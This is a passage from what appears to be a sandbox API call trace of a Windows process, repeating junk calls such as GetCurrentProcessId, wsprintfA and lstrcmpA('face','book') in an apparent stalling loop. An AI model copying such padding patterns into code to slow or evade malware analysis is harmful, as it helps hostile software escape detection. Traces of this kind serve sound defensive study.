() returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="10EEP") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcess () returned 0xffffffff [0031.636] GetLastError () returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="10EFP") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetLastError () returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="10F0P") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] lstrlenA (lpString="just string") returned 11 [0031.636] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.636] GetLastError () returned 0x57 [0031.636] GetCurrentProcess () returned 0xffffffff [0031.636] GetLastError () returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="112BP") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetLastError () returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="112CP") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] lstrlenA (lpString="just string") returned 11 [0031.636] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.636] GetLastError () returned 0x57 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] GetLastError () returned 0x57 [0031.637] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.637] SetLastError (dwErrCode=0x57) [0031.637] GetCurrentProcess () returned 0xffffffff [0031.637] GetLastError () returned 0x57 [0031.637] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="11D4P") returned 5 [0031.637] SetLastError (dwErrCode=0x57) [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcess () returned 0xffffffff [0031.637] GetLastError () returned 0x57 [0031.637] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="11D5P") returned 5 [0031.637] SetLastError (dwErrCode=0x57) [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetLastError () returned 0x57 [0031.637] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="11D6P") returned 5 [0031.637] SetLastError (dwErrCode=0x57) [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] GetLastError () returned 0x57 [0031.637] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="121CP") returned 5 [0031.637] SetLastError (dwErrCode=0x57) [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] GetLastError () returned 0x57 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] GetCurrentProcessId () returned 0xb44 [0031.637] lstrlenA (lpString="just string") returned 11 [0031.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.637] GetLastError () returned 0x57 [0031.637] GetLastError () returned 0x57 [0031.638] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcess () returned 0xffffffff [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="12D8P") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcess () returned 0xffffffff [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="12D9P") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="12DAP") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] lstrlenA (lpString="just string") returned 11 [0031.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.638] GetLastError () returned 0x57 [0031.638] GetLastError () returned 0x57 [0031.638] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcess () returned 0xffffffff [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="12E2P") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcess () returned 0xffffffff [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="12E3P") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="12E4P") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] lstrlenA (lpString="just string") returned 11 [0031.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.638] GetLastError () returned 0x57 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] lstrlenA (lpString="just string") returned 11 [0031.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.638] GetLastError () returned 0x57 [0031.638] GetCurrentProcess () returned 0xffffffff [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1347P") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.638] GetLastError () returned 0x57 [0031.638] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1348P") returned 5 [0031.638] SetLastError (dwErrCode=0x57) [0031.638] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] GetLastError () returned 0x57 [0031.639] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1410P") returned 5 [0031.639] SetLastError (dwErrCode=0x57) [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] GetLastError () returned 0x57 [0031.639] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.639] SetLastError (dwErrCode=0x57) [0031.639] GetCurrentProcess () returned 0xffffffff [0031.639] GetLastError () returned 0x57 [0031.639] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="144AP") returned 5 [0031.639] SetLastError (dwErrCode=0x57) [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcess () returned 0xffffffff [0031.639] GetLastError () returned 0x57 [0031.639] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="144BP") returned 5 [0031.639] SetLastError (dwErrCode=0x57) [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetLastError () returned 0x57 [0031.639] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="144CP") returned 5 [0031.639] SetLastError (dwErrCode=0x57) [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.639] lstrlenA (lpString="just string") returned 11 [0031.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.639] GetLastError () returned 0x57 [0031.639] GetCurrentProcessId () returned 0xb44 [0031.640] lstrlenA (lpString="just string") returned 11 [0031.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.640] GetLastError () returned 0x57 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] lstrlenA (lpString="just string") returned 11 [0031.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.640] GetLastError () returned 0x57 [0031.640] GetCurrentProcess () returned 0xffffffff [0031.640] GetLastError () returned 0x57 [0031.640] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1563P") returned 5 [0031.640] SetLastError (dwErrCode=0x57) [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetLastError () returned 0x57 [0031.640] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1564P") returned 5 [0031.640] SetLastError (dwErrCode=0x57) [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] lstrlenA (lpString="just string") returned 11 [0031.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.640] GetLastError () returned 0x57 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] lstrlenA (lpString="just string") returned 11 [0031.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.640] GetLastError () returned 0x57 [0031.640] GetCurrentProcess () returned 0xffffffff [0031.640] GetLastError () returned 0x57 [0031.640] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="15BDP") returned 5 [0031.640] SetLastError (dwErrCode=0x57) [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetLastError () returned 0x57 [0031.640] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="15BEP") returned 5 [0031.640] SetLastError (dwErrCode=0x57) [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] lstrlenA (lpString="just string") returned 11 [0031.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.640] GetLastError () returned 0x57 [0031.640] GetLastError () returned 0x57 [0031.640] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="15FAP") returned 5 [0031.640] SetLastError (dwErrCode=0x57) [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] lstrlenA (lpString="just string") returned 11 [0031.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.640] GetLastError () returned 0x57 [0031.640] lstrlenA (lpString="just string") returned 11 [0031.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.640] GetLastError () returned 0x57 [0031.640] GetCurrentProcess () returned 0xffffffff [0031.640] GetLastError () returned 0x57 [0031.640] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1635P") returned 5 [0031.640] SetLastError (dwErrCode=0x57) [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetLastError () returned 0x57 [0031.640] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1636P") returned 5 [0031.640] SetLastError (dwErrCode=0x57) [0031.640] GetCurrentProcessId () returned 0xb44 [0031.640] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] lstrlenA (lpString="just string") returned 11 [0031.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.641] GetLastError () returned 0x57 [0031.641] lstrlenA (lpString="just string") returned 11 [0031.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.641] GetLastError () returned 0x57 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] lstrlenA (lpString="just string") returned 11 [0031.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.641] GetLastError () returned 0x57 [0031.641] lstrlenA (lpString="just string") returned 11 [0031.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.641] GetLastError () returned 0x57 [0031.641] GetLastError () returned 0x57 [0031.641] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.641] SetLastError (dwErrCode=0x57) [0031.641] GetCurrentProcess () returned 0xffffffff [0031.641] GetLastError () returned 0x57 [0031.641] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="16C0P") returned 5 [0031.641] SetLastError (dwErrCode=0x57) [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcess () returned 0xffffffff [0031.641] GetLastError () returned 0x57 [0031.641] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="16C1P") returned 5 [0031.641] SetLastError (dwErrCode=0x57) [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetLastError () returned 0x57 [0031.641] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="16C2P") returned 5 [0031.641] SetLastError (dwErrCode=0x57) [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] lstrlenA (lpString="just string") returned 11 [0031.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.641] GetLastError () returned 0x57 [0031.641] GetLastError () returned 0x57 [0031.641] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.641] SetLastError (dwErrCode=0x57) [0031.641] GetCurrentProcess () returned 0xffffffff [0031.641] GetLastError () returned 0x57 [0031.641] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="16DEP") returned 5 [0031.641] SetLastError (dwErrCode=0x57) [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetCurrentProcess () returned 0xffffffff [0031.641] GetLastError () returned 0x57 [0031.641] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="16DFP") returned 5 [0031.641] SetLastError (dwErrCode=0x57) [0031.641] GetCurrentProcessId () returned 0xb44 [0031.641] GetLastError () returned 0x57 [0031.643] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="16E0P") returned 5 [0031.643] SetLastError (dwErrCode=0x57) [0031.643] GetCurrentProcessId () returned 0xb44 [0031.643] GetCurrentProcessId () returned 0xb44 [0031.643] GetCurrentProcessId () returned 0xb44 [0031.643] GetCurrentProcessId () returned 0xb44 [0031.643] lstrlenA (lpString="just string") returned 11 [0031.643] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.643] GetLastError () returned 0x57 [0031.643] GetCurrentProcessId () returned 0xb44 [0031.643] lstrlenA (lpString="just string") returned 11 [0031.643] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.643] GetLastError () returned 0x57 [0031.643] GetCurrentProcessId () returned 0xb44 [0031.643] GetCurrentProcessId () returned 0xb44 [0031.643] GetCurrentProcessId () returned 0xb44 [0031.644] lstrlenA (lpString="just string") returned 11 [0031.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.644] GetLastError () returned 0x57 [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] lstrlenA (lpString="just string") returned 11 [0031.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.644] GetLastError () returned 0x57 [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] lstrlenA (lpString="just string") returned 11 [0031.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.644] GetLastError () returned 0x57 [0031.644] GetLastError () returned 0x57 [0031.644] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.644] SetLastError (dwErrCode=0x57) [0031.644] GetCurrentProcess () returned 0xffffffff [0031.644] GetLastError () returned 0x57 [0031.644] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="17D8P") returned 5 [0031.644] SetLastError (dwErrCode=0x57) [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetCurrentProcess () returned 0xffffffff [0031.644] GetLastError () returned 0x57 [0031.644] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="17D9P") returned 5 [0031.644] SetLastError (dwErrCode=0x57) [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetLastError () returned 0x57 [0031.644] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="17DAP") returned 5 [0031.644] SetLastError (dwErrCode=0x57) [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] lstrlenA (lpString="just string") returned 11 [0031.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.644] GetLastError () returned 0x57 [0031.644] GetLastError () returned 0x57 [0031.644] lstrlenA (lpString="just string") returned 11 [0031.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.644] GetLastError () returned 0x57 [0031.644] lstrlenA (lpString="just string") returned 11 [0031.644] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.644] GetLastError () returned 0x57 [0031.644] GetLastError () returned 0x57 [0031.644] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.644] SetLastError (dwErrCode=0x57) [0031.644] GetCurrentProcess () returned 0xffffffff [0031.644] GetLastError () returned 0x57 [0031.644] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="186EP") returned 5 [0031.644] SetLastError (dwErrCode=0x57) [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetCurrentProcess () returned 0xffffffff [0031.644] GetLastError () returned 0x57 [0031.644] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="186FP") returned 5 [0031.644] SetLastError (dwErrCode=0x57) [0031.644] GetCurrentProcessId () returned 0xb44 [0031.644] GetLastError () returned 0x57 [0031.644] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1870P") returned 5 [0031.644] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] lstrlenA (lpString="just string") returned 11 [0031.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.645] GetLastError () returned 0x57 [0031.645] GetCurrentProcess () returned 0xffffffff [0031.645] GetLastError () returned 0x57 [0031.645] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1879P") returned 5 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetLastError () returned 0x57 [0031.645] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="187AP") returned 5 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] lstrlenA (lpString="just string") returned 11 [0031.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.645] GetLastError () returned 0x57 [0031.645] GetLastError () returned 0x57 [0031.645] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcess () returned 0xffffffff [0031.645] GetLastError () returned 0x57 [0031.645] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="18AAP") returned 5 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcess () returned 0xffffffff [0031.645] GetLastError () returned 0x57 [0031.645] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="18ABP") returned 5 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetLastError () returned 0x57 [0031.645] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="18ACP") returned 5 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] lstrlenA (lpString="just string") returned 11 [0031.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.645] GetLastError () returned 0x57 [0031.645] lstrlenA (lpString="just string") returned 11 [0031.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.645] GetLastError () returned 0x57 [0031.645] GetCurrentProcess () returned 0xffffffff [0031.645] GetLastError () returned 0x57 [0031.645] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="18F1P") returned 5 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetLastError () returned 0x57 [0031.645] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="18F2P") returned 5 [0031.645] SetLastError (dwErrCode=0x57) [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] GetCurrentProcessId () returned 0xb44 [0031.645] lstrlenA (lpString="just string") returned 11 [0031.645] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcess () returned 0xffffffff [0031.646] GetLastError () returned 0x57 [0031.646] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="19EBP") returned 5 [0031.646] SetLastError (dwErrCode=0x57) [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetLastError () returned 0x57 [0031.646] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="19ECP") returned 5 [0031.646] SetLastError (dwErrCode=0x57) [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcess () returned 0xffffffff [0031.646] GetLastError () returned 0x57 [0031.646] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1A27P") returned 5 [0031.646] SetLastError (dwErrCode=0x57) [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetLastError () returned 0x57 [0031.646] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1A28P") returned 5 [0031.646] SetLastError (dwErrCode=0x57) [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetLastError () returned 0x57 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] GetCurrentProcessId () returned 0xb44 [0031.646] lstrlenA (lpString="just string") returned 11 [0031.646] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.646] GetLastError () returned 0x57 [0031.646] GetLastError () returned 0x57 [0031.647] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcess () returned 0xffffffff [0031.647] GetLastError () returned 0x57 [0031.647] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1AE4P") returned 5 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcessId () returned 0xb44 [0031.647] GetCurrentProcess () returned 0xffffffff [0031.647] GetLastError () returned 0x57 [0031.647] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1AE5P") returned 5 [0031.647] SetLastError (dwErrCode=0x57) [0031.647] GetCurrentProcessId () returned 